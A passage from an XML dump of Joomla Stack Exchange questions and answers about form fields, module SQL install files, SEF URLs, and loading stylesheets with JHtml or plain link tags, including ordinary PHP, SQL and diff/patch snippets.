$this-&amp;gt;form-&amp;gt;getLabel('parentheader'); ?&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;     &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('parentheader'); ?&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get this output:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NT2zC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It must be like the field for categories in the product editing panel of Virtuemart where I can bind a product to many categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ehUtx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What code should I add to my &lt;strong&gt;admin/models/forms/record.xml&lt;/strong&gt; and &lt;strong&gt;admin/models/record.php&lt;/strong&gt; (or to JTable class)?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-05-28T10:48:27.177" Title="Two left joins and multiple parents for a single record" Tags="|component|development|joomla-api|mysql|jform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10049" PostTypeId="2" ParentId="5098" CreationDate="2015-05-21T11:42:31.513" Score="1" Body="&lt;p&gt;DOCman Notify 2.0 is now available which offers support for DOCman 2.x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;DOCman Notify is a plugin that sends notification emails to document and category owners about changes in those documents and categories that they manage.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Document owners will get an email notification whenever the documents they own are edited or deleted.&lt;/li&gt;&#xA;&lt;li&gt;Category owners will get notification emails whenever a document is added to, deleted from or edited in the categories they own.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tip: To make a registered user a document or category owner select the user in the ‘owner’ select box in the category or document form.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For more information see &lt;a href=&quot;http://www.joomlatools.com/blog/2014/12/email-notifications-download-limiting-and-license-support-for-docman-are-here.html&quot; rel=&quot;nofollow&quot;&gt;the release announcement on our blog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5282" LastActivityDate="2015-05-21T11:42:31.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10050" PostTypeId="2" ParentId="4253" CreationDate="2015-05-21T12:35:06.857" Score="5" Body="&lt;p&gt;There is no right or wrong way to structure your code, however there are certainly better ways. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Why&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The structure we use at Joomlatools stems from the need to have a standardised developer friendly structure. We don't like to re-invent the wheel so the most logical choice is to use the structure of Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The symlinker is build for developers who wish to symlink code from a Git repo into a Joomla installation. We use this for all our Joomla component development, it keeps our code in sync, allows us to change branches, while we work directly in the Git repo. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with rsync is that to keep code in sync you need to manually re-sync it each time a change is made as rsync need to copy the changes over. This is less useful when developing. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Benefits&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using this structure gives you following benefits :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the symlinker that is part of our &lt;a href=&quot;http://developer.joomlatools.com/tools/console/introduction.html&quot; rel=&quot;nofollow&quot;&gt;Joomla Console&lt;/a&gt; to easily symlink your code from a local Git repo into a Joomla install allowing you to keep things synced automatically.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can work with complex packages. Our Joomlatools extensions include not only a component they also include modules, plugins, libraries etc. All of which need to be part of one package to prevent our users from needing to install everything separately.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA; administrator/&#xA;      components/&#xA;        com_foo/  &#xA;          controllers&#xA;          models&#xA;          views&#xA;       modules/&#xA;         mod_bar&#xA;    site/&#xA;      components/&#xA;        com_foo/  &#xA;          controllers&#xA;          models&#xA;          views&#xA;       modules/&#xA;         mod_bar&#xA;    plugins/&#xA;       foo/&#xA;         bar/&#xA;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A great example of this structure you can find in our &lt;a href=&quot;https://github.com/joomlatools/joomlatools-todo&quot; rel=&quot;nofollow&quot;&gt;Joomlatools example Todo component&lt;/a&gt;. It follows the Joomla structure and as you can see includes modules, and plugins etc. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Creating your own symlinker&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally, if you would like to use rsync using the Joomla Console or if you would like to create your own symlinker solution that follow your preferred structure you can consider creating a Console Plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;http://www.joomlatools.com/blog/2015/05/extend-joomla-console-with-plugins.html&quot; rel=&quot;nofollow&quot;&gt;the release of the 1.3 version of the Console&lt;/a&gt; you can now create your own plugins, distribute them using Packagist and install them using &lt;code&gt;$ joomla plugin:install&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy coding! &lt;/p&gt;&#xA;" OwnerUserId="5282" LastEditorUserId="5282" LastEditDate="2016-04-28T22:19:24.930" LastActivityDate="2016-04-28T22:19:24.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10051" PostTypeId="1" CreationDate="2015-05-21T13:06:31.377" Score="1" ViewCount="334" Body="&lt;p&gt;I've got an easy question, but can't find the answer so far.&#xA;I would like to assign to a same Joomla user more than one login credential set (username/password). More precisely, I would like to allow to do such a login using social networks (especially LinkedIn). More than one social account should be associable to a given Joomla! user. For example, if Jack and John work for Alpha Enterprise, they should both use the Alpha Enterprise account for Joomla!, but using their own LinkedIn profile for login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any extension that does what I need?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3565" LastEditorUserId="1995" LastEditDate="2015-05-24T06:12:30.987" LastActivityDate="2015-05-24T06:12:30.987" Title="Multiple (social) login for the same user account" Tags="|login|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10052" PostTypeId="2" ParentId="4692" CreationDate="2015-05-21T13:20:48.013" Score="3" Body="&lt;p&gt;Two spaces are hard coded in &lt;code&gt;protected static function createDocument()&lt;/code&gt; located inside &lt;code&gt;libraries/joomla/factory.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attributes = array(&#xA;        'charset' =&amp;gt; 'utf-8',&#xA;        'lineend' =&amp;gt; 'unix',&#xA;        'tab' =&amp;gt; '  ',&#xA;        'language' =&amp;gt; $lang-&amp;gt;getTag(),&#xA;        'direction' =&amp;gt; $lang-&amp;gt;isRTL() ? 'rtl' : 'ltr',&#xA;        'mediaversion' =&amp;gt; $version-&amp;gt;getMediaVersion()&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which overrides previous class property declaration of &lt;code&gt;\11&lt;/code&gt; in &lt;code&gt;libraries/joomla/document/document.php&lt;/code&gt; and all rows in the head section become indented with 2 spaces.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2015-05-21T13:20:48.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10054" PostTypeId="2" ParentId="10036" CreationDate="2015-05-21T20:39:57.340" Score="1" Body="&lt;p&gt;There is one hack that can remove ID from the url but it demands touching the core files of Joomla. So note if you'll update the version of the CMS in the future, you'll lose this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the file &lt;strong&gt;components/com_content/router.php&lt;/strong&gt;, find the row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$advanced = $params-&amp;gt;get('sef_advanced_link', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and repalce &lt;strong&gt;0&lt;/strong&gt; with &lt;strong&gt;1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also comment the condition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*if(strpos($segments[0], ':') === false)&#xA;{&#xA;    $vars['view'] = 'article';&#xA;    $vars['id'] = (int) $segments[0];&#xA;&#xA;    return $vars;&#xA;}*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works for Joomla 3.x (for 2.5 I didn't test)&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-05-21T20:45:25.670" LastActivityDate="2015-05-21T20:45:25.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10055" PostTypeId="1" AcceptedAnswerId="10057" CreationDate="2015-05-22T04:37:28.193" Score="1" ViewCount="466" Body="&lt;p&gt;I have a module which has some DB Functions during installation &#xA;for which i have made the reference &#xA;&lt;br /&gt;install.mysql.utf8.sql&#xA;&lt;br /&gt;uninstall.mysql.utf8.sql&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the mod_score.xml (mod_score is the name of the module)&#xA;&lt;br /&gt;&lt;strong&gt;mode_score.xml&lt;/strong&gt;&#xA;It shows &lt;br /&gt;&lt;strong&gt;&quot; installing module was successful &quot;&lt;/strong&gt; but checking the database there are no tables installed .&#xA;please let me know how to solve &#xA;I have searched &lt;a href=&quot;https://stackoverflow.com/questions/20118623/joomla-module-install-mysql&quot;&gt;here&lt;/a&gt; but didnt work &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename&amp;gt;mod_score.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename module=&quot;mod_score&quot;&amp;gt;mod_score.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;sql&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;sql/mysql&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/default.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/form_success.php&amp;lt;/filename&amp;gt; &#xA;        &amp;lt;filename&amp;gt;sql/mysql/install.mysql.utf8.sql&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;sql/mysql/uninstall.mysql.utf8.sql&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&amp;lt;install&amp;gt;&#xA;        &amp;lt;sql&amp;gt;&#xA;         &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/mysql/install.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;        &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&amp;lt;uninstall&amp;gt; &amp;lt;!-- Runs on uninstall --&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/mysql/uninstall.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/uninstall&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;install.mysql.utf8.sql&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  DELIMITER $$&#xA;&#xA;-- Match Records &#xA;CREATE TABLE IF NOT EXISTS  `#__match_record` (&#xA; `match_id` int(10) NOT NULL AUTO_INCREMENT,&#xA;     ---&#xA;     ---&#xA; `match_comments` text NOT NULL,&#xA; PRIMARY KEY (`match_id`)&#xA;) ENGINE=InnoDB AUTO_INCREMENT=122 DEFAULT CHARSET=utf8&#xA;-- Batting Records&#xA;&#xA;CREATE TABLE IF NOT EXISTS  `#__batting_record` (&#xA; `id` int(15) NOT NULL AUTO_INCREMENT,&#xA; `pname` varchar(40) DEFAULT 'DNP',&#xA; ---&#xA; ---&#xA; `timeinserted` timestamp(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6) ON UPDATE CURRENT_TIMESTAMP(6),&#xA; PRIMARY KEY (`id`)&#xA;) ENGINE=InnoDB AUTO_INCREMENT=244 DEFAULT CHARSET=utf8&#xA;&#xA;-- Bowling Records&#xA;CREATE TABLE IF NOT EXISTS  `#__bowling_record` (&#xA; `id` int(10) NOT NULL AUTO_INCREMENT,&#xA; `no` int(10) NOT NULL,&#xA; ---&#xA; ---&#xA;&#xA;&#xA; PRIMARY KEY (`id`)&#xA;) ENGINE=InnoDB AUTO_INCREMENT=49 DEFAULT CHARSET=utf8&#xA;&#xA;&#xA;END $$&#xA;DELIMITER ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Version - Joomla 3.+&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-05-22T06:14:16.917" Title="Joomla Module install uninstall file doesn't load while installing" Tags="|joomla-3.x|development|extensions|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10057" PostTypeId="2" ParentId="10055" CreationDate="2015-05-22T05:41:16.350" Score="1" Body="&lt;p&gt;You don't have to specify subfolders and files in folders what you already have specified. Just use &lt;code&gt;&amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;folder&amp;gt;sql&amp;lt;/folder&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need for &lt;code&gt;&amp;lt;folder&amp;gt;sql/mysql&amp;lt;/folder&amp;gt;&lt;/code&gt; etc. Whole folder is already being installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;&amp;lt;files&amp;gt;&lt;/code&gt; tag would be.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename&amp;gt;mod_score.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename module=&quot;mod_score&quot;&amp;gt;mod_score.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;sql&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, your problem. Remove &lt;code&gt;DELIMITER $$&lt;/code&gt; and &lt;code&gt;END $$ DELIMITER ;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/a/20363676/1960712&quot;&gt;this answer&lt;/a&gt; for clarification. There has to be &lt;code&gt;;&lt;/code&gt; in end of every mysql query if you have multiple queries in one file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;sql&lt;/code&gt; should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- Match Records &#xA;CREATE TABLE IF NOT EXISTS  `tst_match_record` (&#xA; `match_id` int(10) NOT NULL AUTO_INCREMENT,&#xA; `match_comments` text NOT NULL,&#xA; PRIMARY KEY (`match_id`)&#xA;) ENGINE=InnoDB AUTO_INCREMENT=122 DEFAULT CHARSET=utf8;&#xA;-- Batting Records&#xA;&#xA;CREATE TABLE IF NOT EXISTS  `tst_batting_record` (&#xA; `id` int(15) NOT NULL AUTO_INCREMENT,&#xA; `pname` varchar(40) DEFAULT 'DNP',&#xA; `timeinserted` timestamp(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6) ON UPDATE CURRENT_TIMESTAMP(6),&#xA; PRIMARY KEY (`id`)&#xA;) ENGINE=InnoDB AUTO_INCREMENT=244 DEFAULT CHARSET=utf8;&#xA;&#xA;-- Bowling Records&#xA;CREATE TABLE IF NOT EXISTS  `tst_bowling_record` (&#xA; `id` int(10) NOT NULL AUTO_INCREMENT,&#xA; `no` int(10) NOT NULL,&#xA; PRIMARY KEY (`id`)&#xA;) ENGINE=InnoDB AUTO_INCREMENT=49 DEFAULT CHARSET=utf8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-05-22T06:14:16.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10058" PostTypeId="1" CreationDate="2015-05-22T08:19:35.060" Score="5" ViewCount="2585" Body="&lt;p&gt;I'm trying to find a way to show the date an article was last modified in the article manager in Joomla 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing a google search I can only seem to find ways to do this so it's visible via the frontend of the website rather than in the administrator.&lt;/p&gt;&#xA;" OwnerUserId="1623" LastEditorUserId="1623" LastEditDate="2015-05-22T11:10:03.397" LastActivityDate="2017-08-18T10:32:06.643" Title="Show article modified date in Article Manager Administrator" Tags="|joomla-3.x|articles|article-manager|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10059" PostTypeId="2" ParentId="10031" CreationDate="2015-05-22T08:45:25.640" Score="1" Body="&lt;p&gt;Have you verified that you are running the latest version of EasyBlog and associated modules.  There have been a number of issues posted regarding social media buttons on the StackIdeas forums in older versions of EasyBlog.  StackIdeas recently released version 3.9.2 of these modules and they do not get updated automatically when you update EasyBlog.&lt;/p&gt;&#xA;" OwnerUserId="5302" LastActivityDate="2015-05-22T08:45:25.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10060" PostTypeId="2" ParentId="10058" CreationDate="2015-05-22T09:44:43.437" Score="2" Body="&lt;p&gt;If you look in 'Article manager':'Edit Article' -&gt; 'Publishing' tab, do you see 'Modified Date' field?&#xA;What is your template in Administrator?&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="1995" LastEditDate="2015-05-22T11:41:28.940" LastActivityDate="2015-05-22T11:41:28.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10062" PostTypeId="1" AcceptedAnswerId="10064" CreationDate="2015-05-22T10:09:13.293" Score="9" ViewCount="3154" Body="&lt;p&gt;According to the wiki page &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding Javascript and CSS to the Page&lt;/a&gt;, you can add a stylesheet with &lt;code&gt;addStyleSheet&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addStyleSheet($url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or with &lt;code&gt;JHtml::stylesheet&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::stylesheet($url, array(), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the wiki page &lt;a href=&quot;https://docs.joomla.org/Creating_a_basic_Joomla!_template&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a Basic Template&lt;/a&gt; instructs the learner to include stylesheets like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/system/css/system.css&quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This bypasses &lt;code&gt;addStyleSheet&lt;/code&gt; and &lt;code&gt;JHtml::stylesheet&lt;/code&gt;. Is this a good idea? When would you use the former and when would you use the latter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;JHtml::_(&quot;script&quot;, …)&lt;/code&gt; and &lt;code&gt;JHtml::_(&quot;stylesheet&quot;, …)&lt;/code&gt; are almost exactly the same as &lt;code&gt;JHtml::script&lt;/code&gt; and &lt;code&gt;JHtml::stylesheet&lt;/code&gt;. See &lt;a href=&quot;https://joomla.stackexchange.com/q/10493/5239&quot;&gt;What does &lt;code&gt;JHtml::_&lt;/code&gt; do&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5239" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2019-07-17T14:52:26.573" Title="Why use addStyleSheet or JHtml::stylesheet over just linking a CSS file?" Tags="|jhtml|jfactory|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10064" PostTypeId="2" ParentId="10062" CreationDate="2015-05-22T10:22:52.693" Score="7" Body="&lt;p&gt;&lt;code&gt;JHtml&lt;/code&gt; is normally used in extensions as it's means overrides can be performed which is a really good feature if you're a developer. It also extends &lt;code&gt;$document-&amp;gt;...&lt;/code&gt; by adding some additional functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/js&#xA;   /script.js&#xA;   /script.min.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using &lt;code&gt;JHtml&lt;/code&gt;, the &lt;strong&gt;minified&lt;/strong&gt; version of the script will be loaded to reduce page loading times. When you enable debug mode in the Global Configuration, it will load the &lt;strong&gt;unminified&lt;/strong&gt; version of the file to make it readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot override a template in the same way you can for extensions, so a lot of templates use &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; because any overrides can simply be done by adding a &lt;code&gt;custom.css&lt;/code&gt; file, then adding your code in it. Thus using the native &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tags are faster then using the Joomla API to load the CSS file&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-04-28T16:42:02.133" LastActivityDate="2018-04-28T16:42:02.133" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10065" PostTypeId="2" ParentId="10062" CreationDate="2015-05-22T10:25:00.503" Score="5" Body="&lt;p&gt;Joomla provides its own API from their Factory we can call it as JFactory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no harm of using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/system/css/system.css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;over:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addStyleSheet($url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if you are including your stylesheets with above method, then it will be included in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section of your template automatically with &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;. Going further, if we are developing our own extension and if you are explicitly want to have your own CSS or Javascript then you can declare it with above method. It will again add it in your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section and avoiding you to update your template's &lt;code&gt;index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes you want your scripts to be appear at the end of your body to get all DOM elements loaded. At this situation you may want to include your scripts at the end of your &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element with following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;myScript.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will also get additional control for handling CSS and scripts for e.g. you can unset scripts and stylesheets programmatically if not needed.&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-22T10:25:00.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10066" PostTypeId="2" ParentId="4181" CreationDate="2015-05-22T10:32:19.340" Score="2" Body="&lt;p&gt;It is also possible to use the Linux/UNIX diff and patch commands to store the changes that you have made to the template core files so that you may easily reapply them to the template when it is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a patch file that contains all the changes you have made to the template core files:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install the latest version of the template (clean install).&lt;/li&gt;&#xA;&lt;li&gt;Use the Copy Template procedure to copy the template to a new directory.&lt;/li&gt;&#xA;&lt;li&gt;Make edits to the template core files in the new directory.&lt;/li&gt;&#xA;&lt;li&gt;Make sure that you are in the joomla_root/template directory.&lt;/li&gt;&#xA;&lt;li&gt;diff -rupN template_original/ template_new/ &gt; template.patch&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To apply the patch file to the recently updated template:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update the template with the latest version.&lt;/li&gt;&#xA;&lt;li&gt;Use the Copy Template procedure to copy the template to a new directory.&lt;/li&gt;&#xA;&lt;li&gt;Make sure that you are in the joomla_root/template/template_new directory.&lt;/li&gt;&#xA;&lt;li&gt;patch -p1 &amp;lt; template.patch&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope that this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jungels.net/articles/diff-patch-ten-minutes.html&quot; rel=&quot;nofollow&quot;&gt;The Ten Minute Guide to diff and patch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5302" LastEditorUserId="5302" LastEditDate="2015-05-22T10:37:34.433" LastActivityDate="2015-05-22T10:37:34.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10068" PostTypeId="2" ParentId="10062" CreationDate="2015-05-22T12:45:36.307" Score="6" Body="&lt;p&gt;In Addition to the others, the single biggest benefit I have found is all CSS / JSS files are in the same array at 1 time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may not sound like a benefit,  but a snippet from another example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/system/css/system.css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Later on when  you want to change &lt;code&gt;system.css&lt;/code&gt;, you will make changes and then realize that your users have the old &lt;code&gt;system.css&lt;/code&gt; in their cache with your new content, meaning you will have to change the code to be a slightly different URL (or reduce your cache time and make the user download more often)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use the JHTML method when the template is generated you can then generate a &quot;version&quot; of the CSS / JS file (filemtime is a good one to use, or git commit ID etc) so changing the content instantly gives the new css to all people to view your site.&#xA;Long cache times + instant re generation means less downloads per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code sample (NOT TESTED WORKING, Though I do use similar code)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$styles  = $this['asset']-&amp;gt;get('css');&#xA;if ($styles) {&#xA;  foreach ($styles as $style) {&#xA;    if ($url = $style-&amp;gt;getUrl()) {&#xA;      if ($url[0] == &quot;/&quot;) {&#xA;      //its local, find it and add the mtime&#xA;        if (file_exists(getcwd() . $url)) {&#xA;          $url .= &quot;?&quot; .filemtime(getcwd() . $url);&#xA;        }&#xA;      }&#xA;      printf(&quot;&amp;lt;link rel=\&quot;stylesheet\&quot; href=\&quot;%s\&quot; type=\&quot;text/css\&quot; /&amp;gt;\n&quot;, $url);&#xA;    } else {&#xA;      printf(&quot;&amp;lt;style&amp;gt;%s&amp;lt;/style&amp;gt;\n&quot;, $style-&amp;gt;getContent());&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will need tweaking for your system to make sure the paths are found correctly&lt;/p&gt;&#xA;" OwnerUserId="5305" LastEditorUserId="5305" LastEditDate="2015-05-25T13:08:56.213" LastActivityDate="2015-05-25T13:08:56.213" 